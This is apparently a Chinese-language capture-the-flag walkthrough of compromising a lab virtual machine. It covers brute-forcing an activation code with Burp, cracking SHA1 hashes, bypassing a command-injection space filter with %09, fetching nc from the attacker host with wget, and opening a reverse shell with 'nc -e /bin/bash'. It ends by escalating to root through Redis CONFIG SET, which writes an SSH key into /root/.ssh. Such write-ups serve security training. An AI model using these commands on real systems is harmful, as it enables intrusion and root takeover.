1.常规端口及服务发现
2.查看源码发现会使用token来校验,使用dirb来进行路径爆破,在registration.php
页面下存在注册页面,还有activate页面可以找到激活码,开始进行激活码爆破
使用bp的 pithchfork草叉进行爆破得到激活码为000511成功激活账号,登录进去页面
3.翻墙加载资源后,尝试上一台靶机的xss攻击发现失败,均当做字符串处理
4.发现每一个账号页面注释下均存在一个hash值,为sha1加密算法
在md5hashing.net网站破解得到管理员账号密码,登录进去发现一个命令执行选项,
截包发现需要校验ip地址,将数据包加入X-Forwarded-For:127.0.0.1但是失败
安装waf bypass插件,在project options选项下启用该插件
5.成功访问命令执行页面,但是过滤了空格符号,使用tab空格符号绕过,对应编号为%09,尝试nc命令失败。开启本机nc目录下的
python服务,下载成功后成功保存到目标靶机
wget http://10.0.2.25/usr/bin/nc -O /tmp/nc -O 意思是输入到目标目录
chmod +x /tmp/nc
/tmp/nc 10.0.2.25 4444 -e /bin/bash
本机开启侦听端口后连接成功。突破边界拿下shell
6.开始进行提权
查看内核版本无法提权,查看开放端口6379下开放了redis服务且拥有root权限
ps -ef | grep redis
cd /etc/redis ls -la查看到存在配置文件里面存在账号密码
登录成功,但是终端命令不完善
cd .ssh
.ssh$ nc -nvlp 4444 > authorized_keys
ssh-keygen -t rsa
cd .ssh
nc 10.1.8.138 4444< id_rsa.pub -w 1
ssh登录账号成功
redis-cli -a 密码登录成功
/.ssh$ (echo -e “\n\n”; cat authorized_keys;echo -e “\n\n”) > pub.txt
cat pub.txt | redis-cli -a 密码 -x set ssh_key
再次登录 CONFIG set dir /root/.ssh
config set dbfilename “authorized_keys”
save
7.再次ssh登录成功拿下root权限,打靶完成